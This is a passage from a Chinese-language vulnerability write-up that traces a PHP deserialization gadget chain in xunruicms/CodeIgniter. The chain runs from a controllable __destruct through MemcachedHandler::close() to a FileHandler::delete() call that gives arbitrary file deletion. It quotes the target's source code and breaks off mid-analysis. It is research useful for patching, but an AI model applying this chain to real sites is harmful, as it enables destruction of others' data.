<span class=hljs-function><span class=hljs-keyword>function</span> <span class=hljs-title>delete_files</span>(<span class=hljs-params><span class=hljs-keyword>string</span> <span class=hljs-variable>$path</span>, <span class=hljs-keyword>bool</span> <span class=hljs-variable>$delDir</span> = <span class=hljs-literal>false</span>, <span class=hljs-keyword>bool</span> <span class=hljs-variable>$htdocs</span> = <span class=hljs-literal>false</span>, <span class=hljs-keyword>bool</span> <span class=hljs-variable>$hidden</span> = <span class=hljs-literal>false</span></span>): <span class=hljs-title>bool</span>
|
||||
</span>{
|
||||
<span class=hljs-variable>$path</span> = realpath(<span class=hljs-variable>$path</span>) ?: <span class=hljs-variable>$path</span>;
|
||||
<span class=hljs-variable>$path</span> = rtrim(<span class=hljs-variable>$path</span>, DIRECTORY_SEPARATOR) . DIRECTORY_SEPARATOR;
|
||||
<span class=hljs-keyword>try</span> {
|
||||
<span class=hljs-keyword>foreach</span> (<span class=hljs-keyword>new</span> <span class=hljs-built_in>RecursiveIteratorIterator</span>(
|
||||
<span class=hljs-keyword>new</span> <span class=hljs-built_in>RecursiveDirectoryIterator</span>(<span class=hljs-variable>$path</span>, <span class=hljs-built_in>RecursiveDirectoryIterator</span>::SKIP_DOTS),
|
||||
<span class=hljs-built_in>RecursiveIteratorIterator</span>::CHILD_FIRST
|
||||
) <span class=hljs-keyword>as</span> <span class=hljs-variable>$object</span>) {
|
||||
<span class=hljs-variable>$filename</span> = <span class=hljs-variable>$object</span>->getFilename();
|
||||
<span class=hljs-keyword>if</span> (! <span class=hljs-variable>$hidden</span> && <span class=hljs-variable>$filename</span>[<span class=hljs-number>0</span>] === <span class=hljs-string>'.'</span>) {
|
||||
<span class=hljs-keyword>continue</span>;
|
||||
}
|
||||
<span class=hljs-keyword>if</span> (! <span class=hljs-variable>$htdocs</span> || ! preg_match(<span class=hljs-string>'/^(\.htaccess|index\.(html|htm|php)|web\.config)$/i'</span>, <span class=hljs-variable>$filename</span>)) {
|
||||
<span class=hljs-variable>$isDir</span> = <span class=hljs-variable>$object</span>->isDir();
|
||||
<span class=hljs-keyword>if</span> (<span class=hljs-variable>$isDir</span> && <span class=hljs-variable>$delDir</span>) {
|
||||
rmdir(<span class=hljs-variable>$object</span>->getPathname());
|
||||
|
||||
<span class=hljs-keyword>continue</span>;
|
||||
}
|
||||
<span class=hljs-keyword>if</span> (! <span class=hljs-variable>$isDir</span>) {
|
||||
unlink(<span class=hljs-variable>$object</span>->getPathname());
|
||||
}
|
||||
}
|
||||
}
|
||||
<span class=hljs-keyword>return</span> <span class=hljs-literal>true</span>;
|
||||
} <span class=hljs-keyword>catch</span> (<span class=hljs-built_in>Throwable</span> <span class=hljs-variable>$e</span>) {
|
||||
<span class=hljs-keyword>return</span> <span class=hljs-literal>false</span>;
|
||||
}
|
||||
}
|
||||
</code></pre>
|
||||
<ol blockindex=41>
|
||||
<li>
|
||||
<p>首先,使用 <code>realpath($path) ?: $path</code> 将传入的 <code>$path</code> 转换为绝对路径,如果转换失败,则保留原始路径。</p>
|
||||
</li>
|
||||
<li>
|
||||
<p>然后,使用 <code>rtrim($path, DIRECTORY_SEPARATOR) . DIRECTORY_SEPARATOR</code> 将路径末尾的目录分隔符删除,并在末尾添加一个目录分隔符。</p>
|
||||
</li>
|
||||
<li>
|
||||
<p>接下来,使用<code>RecursiveDirectoryIterator</code></p>
|
||||
<p>类和<code>RecursiveIteratorIterator</code></p>
|
||||
<p>类遍历指定路径下的所有文件和目录。</p>
|
||||
<ul>
|
||||
<li><code>RecursiveDirectoryIterator</code> 用于递归地遍历目录,并跳过 "." 和 ".." 目录。</li>
|
||||
<li><code>RecursiveIteratorIterator</code> 使用 <code>CHILD_FIRST</code> 模式,确保先处理子目录中的文件和目录,然后再处理父目录中的文件和目录。</li>
|
||||
</ul>
|
||||
</li>
|
||||
<li>
|
||||
<p>对于遍历到的每个文件或目录<code>$object</code>执行以下操作:</p>
|
||||
<ul>
|
||||
<li>
|
||||
<p>获取文件名 <code>$filename = $object->getFilename()</code>。</p>
|
||||
</li>
|
||||
<li>
|
||||
<p>如果 <code>$hidden</code> 为 <code>false</code>,并且文件名以 <code>.</code> 开头,则跳过当前循环,不处理该文件。</p>
|
||||
</li>
|
||||
<li>
|
||||
<p>如果 <code>$htdocs</code> 为 <code>true</code>,并且文件名匹配 <code>.htaccess</code>、<code>index.html</code>、<code>index.htm</code>、<code>index.php</code> 和 <code>web.config</code> 则跳过当前循环,不处理该文件。</p>
|
||||
</li>
|
||||
<li>
|
||||
<p>检查文件类型:</p>
|
||||
<ul>
|
||||
<li>如果是目录且 <code>$delDir</code> 为 <code>true</code>,则使用 <code>rmdir($object->getPathname())</code> 删除目录,并继续下一次循环。</li>
|
||||
<li>如果不是目录,则使用 <code>unlink($object->getPathname())</code> 删除文件。</li>
|
||||
</ul>
|
||||
</li>
|
||||
</ul>
|
||||
</li>
|
||||
<li>
|
||||
<p>循环结束后,返回 <code>true</code> 表示删除操作成功。</p>
|
||||
</li>
|
||||
<li>
|
||||
<p>如果在删除过程中发生任何异常(<code>Throwable</code>),则捕获异常,并返回 <code>false</code> 表示删除操作失败。</p>
|
||||
</li>
|
||||
</ol>
|
||||
<p blockindex=42>写poc试了一下,发现没有在<code>wipeDirectory</code>中没有进入<code>delete_files</code>中,报错了,函数导向错误</p>
|
||||
<p blockindex=43><img src="data:image/png;base64,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 truncated
|
||||
<p blockindex=44>因为<code>delete_files</code>并不存在于某个类里面,只是一个函数,要利用这个方法需要引用它所在的文件,利用的类里面已经引用了这个文件,就是不跳转</p>
|
||||
<p blockindex=45>TT^TT</p>
|
||||
<p blockindex=46>第四个</p>
|
||||
<pre blockindex=47><code class="hljs language-php"><span class=hljs-keyword>public</span> <span class=hljs-function><span class=hljs-keyword>function</span> <span class=hljs-title>__destruct</span>(<span class=hljs-params></span>)
|
||||
</span>{
|
||||
<span class=hljs-keyword>unset</span>(<span class=hljs-keyword>$this</span>->data);
|
||||
<span class=hljs-keyword>unset</span>(<span class=hljs-keyword>$this</span>->cache);
|
||||
<span class=hljs-keyword>unset</span>(<span class=hljs-keyword>$this</span>->ret);
|
||||
<span class=hljs-keyword>unset</span>(<span class=hljs-keyword>$this</span>->icon);
|
||||
<span class=hljs-keyword>unset</span>(<span class=hljs-keyword>$this</span>->result_array);
|
||||
<span class=hljs-keyword>unset</span>(<span class=hljs-keyword>$this</span>->nbsp_str);
|
||||
<span class=hljs-keyword>unset</span>(<span class=hljs-keyword>$this</span>->nbsp);
|
||||
<span class=hljs-keyword>unset</span>(<span class=hljs-keyword>$this</span>->result);
|
||||
}
|
||||
</code></pre>
|
||||
<p blockindex=48>这个只是用来释放变量,没操作空间 ,pass</p>
|
||||
<p blockindex=49>第五个</p>
|
||||
<pre blockindex=50><code class="hljs language-php"><span class=hljs-keyword>public</span> <span class=hljs-function><span class=hljs-keyword>function</span> <span class=hljs-title>__destruct</span>(<span class=hljs-params></span>)
|
||||
</span>{
|
||||
<span class=hljs-keyword>if</span> (<span class=hljs-keyword>isset</span>(<span class=hljs-keyword>$this</span>->redis)) {
|
||||
<span class=hljs-keyword>$this</span>->redis->close();
|
||||
}
|
||||
}
|
||||
</code></pre>
|
||||
<p blockindex=51>这个<code>$this->redis</code>可控,这里有两个方向,一个触发某个类的<code>__call()</code> , 另外一个是找到一个含有<code>close()</code>方法的类</p>
|
||||
<p blockindex=52>经过一番查找,没有找到能利用的**__call()** ,只好去看看close()了</p>
|
||||
<p blockindex=53>全局搜索close()方法找到了15个方法,其中有7个是js文件的,忽略</p>
|
||||
<p blockindex=54><img src=data:image/png;base64,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 truncated
|
||||
<p blockindex=55>经过一番查找,找到这个可以用</p>
|
||||
<pre blockindex=56><code class="hljs language-php"><span class=hljs-comment>//\xunruicms\dayrui\CodeIgniter\System\Session\Handlers\MemcachedHandler.php </span>
|
||||
<span class=hljs-keyword>public</span> <span class=hljs-function><span class=hljs-keyword>function</span> <span class=hljs-title>close</span>(<span class=hljs-params></span>): <span class=hljs-title>bool</span>
|
||||
</span>{
|
||||
<span class=hljs-keyword>if</span> (<span class=hljs-keyword>isset</span>(<span class=hljs-keyword>$this</span>->memcached)) {
|
||||
<span class=hljs-keyword>if</span> (<span class=hljs-keyword>isset</span>(<span class=hljs-keyword>$this</span>->lockKey)) {
|
||||
<span class=hljs-keyword>$this</span>->memcached->delete(<span class=hljs-keyword>$this</span>->lockKey);
|
||||
}
|
||||
<span class=hljs-keyword>if</span> (! <span class=hljs-keyword>$this</span>->memcached->quit()) {
|
||||
<span class=hljs-keyword>return</span> <span class=hljs-literal>false</span>;
|
||||
}
|
||||
<span class=hljs-keyword>$this</span>->memcached = <span class=hljs-literal>null</span>;
|
||||
|
||||
<span class=hljs-keyword>return</span> <span class=hljs-literal>true</span>;
|
||||
}
|
||||
|
||||
<span class=hljs-keyword>return</span> <span class=hljs-literal>false</span>;
|
||||
}
|
||||
</code></pre>
|
||||
<p blockindex=57>这里的<code>$this->memcached</code>和<code>$this->lockKey</code>都可控,这里也可以触发任意类的<code>__call</code>方法,也可以触发任意类的<code>delete()</code>和<code>quit()</code>方法</p>
|
||||
<p blockindex=58>这里优先选择<code>delete()</code> ,因为其参数<code>$this->lockKey</code>可控</p>
|
||||
<p blockindex=59>全局搜索<code>delete()</code>方法,找到这个</p>
|
||||
<pre blockindex=60><code class="hljs language-php"><span class=hljs-keyword>public</span> <span class=hljs-function><span class=hljs-keyword>function</span> <span class=hljs-title>delete</span>(<span class=hljs-params></span>) </span>{
|
||||
@unlink(<span class=hljs-keyword>$this</span>->fullname);
|
||||
}
|
||||
</code></pre>
|
||||
<p blockindex=61><code>$this->fullname</code>可控,这里可以任意文件删除了,但是这是无参数方法,不能跳转到这利用</p>
|
||||
<p blockindex=62>还一个:</p>
|
||||
<pre blockindex=63><code class="hljs language-php"><span class=hljs-comment>//\xunruicms\dayrui\CodeIgniter\System\Cache\Handlers\FileHandler.php </span>
|
||||
<span class=hljs-keyword>public</span> <span class=hljs-function><span class=hljs-keyword>function</span> <span class=hljs-title>delete</span>(<span class=hljs-params><span class=hljs-keyword>string</span> <span class=hljs-variable>$key</span></span>)
|
||||
</span>{
|
||||
<span class=hljs-variable>$key</span> = <span class=hljs-built_in>static</span>::validateKey(<span class=hljs-variable>$key</span>, <span class=hljs-keyword>$this</span>->prefix);
|
||||
|
||||
<span class=hljs-keyword>return</span> is_file(<span class=hljs-keyword>$this</span>->path . <span class=hljs-variable>$key</span>) && unlink(<span class=hljs-keyword>$this</span>->path . <span class=hljs-variable>$key</span>);
|
||||
}
|
||||
</code></pre>
|
||||
<p blockindex=64>其中$key是上面传来的参数<code>$this->lockKey</code> 并且<code>$this->prefix</code>和<code>$this->path</code>也可控 ,可以看到后面会将<code>$this->path</code>和<code>$key</code>进行拼接,进行判断是否是文件,如果是文件则调用<code>unlink</code>方法进行文件删除</p>
|
||||
<p blockindex=65>现在主要关注<code>validateKey</code>方法对$key的处理</p>
|
||||
